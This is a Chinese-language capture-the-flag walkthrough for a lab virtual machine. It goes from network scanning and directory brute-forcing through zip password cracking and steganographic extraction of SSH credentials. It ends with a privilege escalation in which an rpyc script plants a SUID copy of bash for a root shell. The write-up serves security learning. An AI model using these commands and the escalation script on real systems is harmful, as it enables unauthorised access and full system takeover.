目录
信息收集
0x01 主机探测
arp-scan -l
0x02 端口扫描
nmap -p- -T5 -A -sV 192.168.1.60
访问80端口
进入目录
0x03 目录爆破
gobuster dir -r -u http://192.168.1.60/site/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html,txt,php
访问该文件夹,发现路径:/war-is-over
0x04 解密
发现是一串字符
通过kali自带的解密方法
curl http://192.168.1.60/site/war-is-over/ | base64 -d > 123
file 123 --解密后查看文件类型,发现是一个zip文件
解密是发现需要密码
0x05 爆破
使用zip2john提取密码信息
然后使用john爆破
mv 123 123.zip --该为zip文件
zip2john 123.zip > passwd
john passwd
john --show passwd --查看密码
密码:ragnarok123
将文件解压
0x06 信息收集-隐写
使用binwalk查看图片是否存在隐藏文件
binwalk king --查看是否存在隐藏文件
binwalk -e king --提权隐藏文件
得到文件_king.extracted。进入文件夹发现存在user文件,查看存在一个ssh用户的用户名密码
账号:floki
密码:f@m0usboatbuilde7
提权
0x07内网信息收集
ls
cat readme.txt
cat boat
我是著名的造船师弗洛基。我们竭尽全力袭击了巴黎但还是失败了。战后我们不知道拉格纳在哪。他现在很悲伤。我想向他道歉。 因为是我领导了所有的维京人。我得找到他。他可能在任何地方。
#可打印字符是你的盟友。
#num = 29个质数。
collatz-conjecture (num)
Lothar Collatz 在 1930 年代提出,是指对于每一个正整数,如果它是奇数,则对它乘 3 再加 1,如果它是偶数,则对它除以 2,如此循环,最终都能够得到 1。
获得两个有用的信息,编写脚本
n=109
a=[n]
while n != 1 :
if n % 2 ==0:
n = n/2
else:
n = n*3+1
if n < 256:
a.append(int(n))
print(a)
109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1
0x08 解密
使用网站:CyberChef (gchq.github.io)
左侧选择3个:1.from decimal 2. strings 3.find /replace
(具体样式如图)
密码:mR)|>^/Gky[gz=\.F#j5P(
尝试登入ragnar用户
ssh ragnar@192.168.1.60
获得第一个flag
0x09 提权
编写脚本1.py
import rpyc
connect = rpyc.classic.connect('localhost')
def rootshell():
import os
os.system('rm /tmp/rootshell')
os.system('cp /bin/bash /tmp/rootshell && chmod +s /tmp/rootshell')
conn = connect.teleport(rootshell)
conn()
执行rootshell文件,提权成功
./rootshell -p
获得第二个flag
总结
涉及知识点:
1.图片隐写
2.base64解密,文件密码爆破
3.算法脚本的编写
4.提权